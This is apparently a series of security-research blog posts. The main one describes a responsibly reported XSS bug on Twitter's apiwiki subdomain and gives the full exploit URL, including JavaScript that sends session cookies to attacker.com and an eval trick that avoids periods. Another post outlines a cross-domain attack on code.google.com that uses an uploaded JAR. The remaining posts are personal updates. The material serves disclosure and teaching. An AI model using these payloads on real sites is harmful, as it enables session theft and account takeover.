Cookie scoping – Twitter.com has multiple sub domains, one of which is apiwiki.twitter.com.  APIwiki is meant to be a resource for developers looking to utilize the twitter APIs.  Fortunately for the attacker (or unfortunately for Twitter) the session cookie that represents authentication is scoped to the parent Twitter domain (.twitter.com)

With such a widely scoped cookie, a XSS bug on any of the twitter subdomains means I can steal the twitter session cookie for www.twitter.com (which is where all the action takes place).  Subdomains like apiwiki.twitter.com typically receive less security attention than the flagship domain (for many reasons) but when the session cookie is scoped to the parent domain, bugs like XSS on these overlooked subdomains have the same impact as XSS on the flagship domain.  Twitter should consider restricting the scope of their session cookie or move nonessential stuff to an alternate domain.

The XSS bug – The actual XSS bug was found here:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=<XSS-HERE>

sdiff.php is looking to compare two different php files.  The querystring parameters named “first” and “second” both expect to have a php filename.  If an invalid filename was provided, an exception would be thrown and an error message would be displayed.  The error message looked something like this:

Looking at the HTML source of the error page, we see the following stacktrace in the HTML Markup.  The stacktrace contains our unsanitized, attacker controlled values.  Classic XSS straight out of Web app security 101.

The Payload – Now here’s where things got interesting.  Generating a quick alert box payload was simple. I simply supplied the following value for the “second” parameter:

&second=–%3E%3Cbody%20onload=javascript:alert(1)%3E.php

Now, when I tried something a bit more complicated, I realized that any periods within the payload (other than period in the trailing “.php”) would generate a different stack trace.  This second stack trace did not contain any attacker controlled data.  So essentially, I had to generate a javascript payload to without any periods.  There are a couple ways to do this… here’s how I did it:

1:  I pulled up the actual payload I wanted to execute.  In this case, it was a simple javascript payload to grab the twitter session cookie and send it to the attacker’s webserver:

var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

2:  I appended this payload to the end of the attack URL using the # (hash) symbol.  Using the hash symbol is an old trick, primarily used to hide the XSS payload from the server.  An article written by Amit Klein was the earliest reference I could find that mentioned the hash trick back in 2005 (http://www.webappsec.org/projects/articles/071105.shtml).  In this case, I use the hash to get around the restrictions on my JavaScript payload.

&second=–%3E%3Cbody%20onload=javascript:alert(1)%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies;

3:  Now that my payload is ready I now need to find a way to call the JavaScript after the hash character, but without any periods.  The JavaScript I want to execute is:  eval(document.location.hash.substr(1));  This would eval all the JavaScript following the hash mark.  Fortunately for us, everything in JavaScript is a property of an object and can be referenced in a couple ways (for the most part).  For example, the location property belongs to the document object.  The most common way to access the location property is to call document.location, but you can also access it by calling document[‘location’].  This can be done for any property and even functions, so our injected string without periods is:

eval(document['location']['hash']['substr'](1))

(kuza’s eval(window[‘name’]) should also work here)

The final URL looked like this:

http://apiwiki.twitter.com/sdiff.php?first=FrontPage&second=–%3E%3Cbody%20onload=javascript: eval(document['location']['hash']['substr'](1))%3E.php# var stolencookies=escape(document.cookie);var domain=escape(document.location);var myImage=new Image();myImage.src=”http://attacker.com/catcher.php?domain=”+domain+”&cookie=”+ stolencookies

I reported the bug to the Twitter security team and they addressed it in a timely manner.  It was a pleasure working with them.

1)      HITB Dubai is almost here!  I’ve been selected to give two talks at HITB in Dubai.  Although I’ve spent a significant amount of time in various parts of the Middle East, but I’ve never actually been to Dubai.  Dhillon is always an EXCELLENT host and I’m looking forward to seeing the sights .  As for the talks I’ll be giving in Dubai, the first (Biting the Hand that Feeds You – Reloaded) is an extension of a talk Nate McFeters and I gave at Defcon 15.  It involves a lot of interesting application design scenarios that introduce security weaknesses in modern day web applications.  It’s a very interesting collection of Content Ownership issues, some funky ways to abuse web application sessions, and a demo of some attacks against modern day web applications including Twitter and Facebook (respective security teams have already notified).  For the second talk (Cross Domain Leakiness), I’ll be co-presenting with Chris Evans from Google.  Chris is a super sharp guy and we’ll be talking about some interesting browser bugs we’ve discovered, as well as some techniques to bypass SSL protection mechanisms.  I’m also looking forward to seeing Nitesh Dhanjani’s talk (Psychotronica).  I’ve seen a sneak preview of the talk and it’s a very powerful illustration of how we can piece together people’s lives like jigsaw puzzles, learning more about them then they probably know about themselves!

2)      Jeff Carr put out the second paper in the Grey Goose Series (first paper here, second paper here).  Contact Jeff directly if you are interested in getting a GOVT only version of the papers.  Jeff has assembled a crack team of intelligence specialists (many of which wish to remain anonymous), pulling together an impressive cyber intelligence capability that probably rivals some state sponsored intelligence agencies.  The team is small enough to allow for lighting fast action without bureaucracy, but just large enough to bring an impressive intelligence eye to modern day problems.  Jeff focuses on analysis related to politically motivated events around the world.  I’m proud to be a part of the Grey Goose team, it is exciting work and perfectly in line with my background.  Jeff and I will be traveling to Estonia in June to speak at the Conference on Cyber Warfare hosted by the NATO Cooperative Cyber Defence Centre of Excellence.  We’ll be presenting a talk entitled “Sun Tzu was a Hacker” where we’ll break down the various tactics and operations associated with a real work attack against State servers.  We’ll tie the various pieces back to traditional tactics/warfare via concepts of Maneuver Warfare and Marine Corps Doctrinal Publication – 1 (Warfighting).

3)      My studies as an MBA student continue.  Once I finish this semester, I’ll have two classes left.  I’m currently taking a Finance class which is planting all sorts of great ideas on how to valuate risk associated with information systems.  I think it’s great that Security Researchers are seeing the value of bugs in both monetary instruments and non monetary instruments (press, notoriety…etc).  I see things like the No More Free Bugs (NMFB) campaign as financial declarations that a Security Researchers’ time/efforts/intelligence/creativity/determination is worth > $0.00.  It will be interesting to see how the next generation of security researchers/hackers will view the disclosure/NMFB paradigm and whether places like iDefense and TippingPoint will rise to “power” (if they haven’t already) as vulnerability brokers.  Maybe one day, we’ll track vulnerability worth via stock ticker, trying to game when to sell.  I’m also interested to see whether web application bugs will ever have financial value that can be easily monetized.  How much is a Gmail XSS or CSRF worth?  Are there ways to monetize?

4)      I’m co-authoring a book… more on this later

5)      I’ve started a really cool project at work that will consume lots of time…

6)      Oh yeah…. I have a ~3 month old baby girl that demands all my free time J

Where does the time go?!?!

I’ve been Maui for the last two weeks and it was AWESOME.  My girl and I had our wedding ceremony on a beach in Kihei and our reception “upcountry” in Kula.  It was great being back on the islands, catching up with friends and family. 

For some reason, I feel energized… Maybe it was the Hawaii sun or may all those late night hacking sessions were finally catching up…  or maybe I’m just getting old :p … but I feel good now! 

I was pretty much offline for the entire time, so if you’ve sent me an email within the past week  I’ll eventually catch up on my email and respond, otherwise I’ll SEE YOU IN VEGAS!!!

Whose fault is this?  That’s the whole point of the post.  We have interaction between different software from different vendors.  In isolation, the behaviors that are being abused here are not a high risk.  It’s only when you combine the behaviors does it constitute a risk.  Who should we blame?  I don’t know, I don’t think anyone really knows… lots of people have their opinions though.

I’m not even going to attempt to describe any portion of this attack (just thinking about it makes my head hurt), but Thomas Ptacek from Matasano has a great writeup <writeup>

On to the issue:
I discovered that users could upload arbitrary files to the code.google.com domain by attaching a file to the “issues” portion of a project.  The uploaded file is then served from the code.google.com domain.  Normally, these types of attacks would make use of the Flash cross domain policy file and the System.security.loadPolicyFile() API, however due to the unique path of each project, the cross domain capabilities of Flash are very limited in this instance as policy files loaded via loadPolicyFile() are “limited to locations at or below its own level in the server’s hierarchy”. 

     
Flash isn’t the only option here though.  Java has a different security policy and uploading a Java class file to the code.google.com domain gives me access to the entire domain, as opposed to only certain folders and sub folders. 

Sounds pretty straight forward huh?  Well, I ran into some issues as the JVM encodes certain characters in its requests for class files made via the CODE attribute within APPLET tags.  After poking around a bit, I realized that requests made via the ARCHIVE would be sent as is, without the encoding of special characters.  With this newfound knowledge in hand, I created a JAR file with my class file within it and uploaded it to code.google.com.

Now, the CODE attribute is a required attribute within the APPLET tag, so I specified name of the class file I placed within the JAR file.  When the APPLET tag is rendered, the JVM first downloads the JAR file specified in the ARCHIVE attribute, the JVM then makes the request for the class file specified in the CODE attribute.  In this instance, the request for the class file specified in the CODE attribute will fail as the class file is not on the code.google.com server (even if it was, we wouldn’t be able to reach it as requests made via the CODE attribute are encoded).  The failure to locate the class file causes the JVM to begin searching alternate locations for the requested class file and the JVM will eventually load a class file with the same name located inside of the JAR file…

Once the class file is loaded, the JVM will fire the init() method and Java’s Same Origin policy allows me to use the applet to communicate with the domain that served the applet class file (as opposed to the domain that hosts the HTML calling the APPLET tag).  Here’s a screenshot of the PoC page I was hosting on XS-Sniper.com. 

    
I don’t think there is a tool on the market today that even attempts to detect something like this and I’ve met many “security professionals” that have no idea that vulnerabilities like this even exist.  This isn’t the first time I’ve come across a cross domain hole based on content ownership.  I’m expecting we’ll see a lot more of these types of vulnerabilities in the future as cross domain capabilities becomes more prevalent in client side technologies and as content providers become more and more comfortable in taking ownership of others content.

Probably one of the most interesting/most talked about features is the webslices and activities.  It’s a little difficult to explain, but I think the video here does a pretty good job.

Happy Hunting!